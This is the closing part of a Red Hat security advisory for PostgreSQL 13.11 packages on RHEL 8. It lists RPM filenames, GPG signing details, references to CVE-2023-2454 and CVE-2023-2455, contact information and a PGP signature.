pgaudit-debuginfo-1.5.0-1.module+el8.4.0+8873+b821c30a.x86_64.rpm  
pgaudit-debugsource-1.5.0-1.module+el8.4.0+8873+b821c30a.x86_64.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.4.0+8873+b821c30a.x86_64.rpm  
postgres-decoderbufs-debuginfo-0.10.0-2.module+el8.4.0+8873+b821c30a.x86_64.rpm  
postgres-decoderbufs-debugsource-0.10.0-2.module+el8.4.0+8873+b821c30a.x86_64.rpm  
postgresql-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-contrib-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-contrib-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-debugsource-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-docs-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-docs-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-plperl-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-plperl-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-plpython3-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-plpython3-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-pltcl-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-pltcl-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-server-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-server-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-server-devel-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-server-devel-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-static-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-test-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-test-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-upgrade-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-upgrade-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-upgrade-devel-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm  
postgresql-upgrade-devel-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-2454  
https://access.redhat.com/security/cve/CVE-2023-2455  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk0k8pAAoJENzjgjWX9erE+eYQAJRHA0QdZv5xV9TWliWdsitH  
6tP5HpsBibR5c1ZZTYGULESqi1fiiDa2qD9rvT0bY+17LdhfSofd57OqUT+SCI1g  
AQ5umKalGbrpvNQ86FJ90UjTpASSdP3cCrdZ8cvJbyNgvjE+pQmkH4rJUxz1PD1j  
6dI+TLEsRSspOADDeuDESuLEwV6IYezmraPoLFyNr6+fE8Byfldf7tTFqu0PT8pD  
edQiQqRfbRSK2MiVQPWFdBlfHbLLUzzMl+IYIyCWDGdAglsnqOQqQUyGoH1b+gKd  
O/TauZ8kV1t9KlJSdo5GJFWrY6nULBunrB3uRWEi7iV+WtqF1oc/42HhcZ+PDKFd  
H/uDTAek+QiCuKJqpnGnwDf+gTUQupvlSN6+1hHSr/VN0j4IL1s0CJ6n1DIXj4Wv  
ewHllUnsUzstH6fA/tDOx31MBsEUPgb3HNagHjuwNf+kBeGAVDFWTaMlk082NgX5  
5fa2PrgpqQQQ6fvwBypoPhiqlnuevJW+FRSyqPNcSGg0b1o7BGbNqsXQG7mPKikt  
e7HpJ/9IHDMHXJG4jI3Dz4xe17xFSC9P+YWGeRHrVpoEe4ad6N0+uCYFBztaUAuv  
NCKdrDr8pTeZObDQbZ/zozirUQINLOlZW28gfHCVX3B6XD4v/NgD08PPcWziepjZ  
Bb739FMpHL9bwdagWyGU  
=+g0V  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Tag

#sql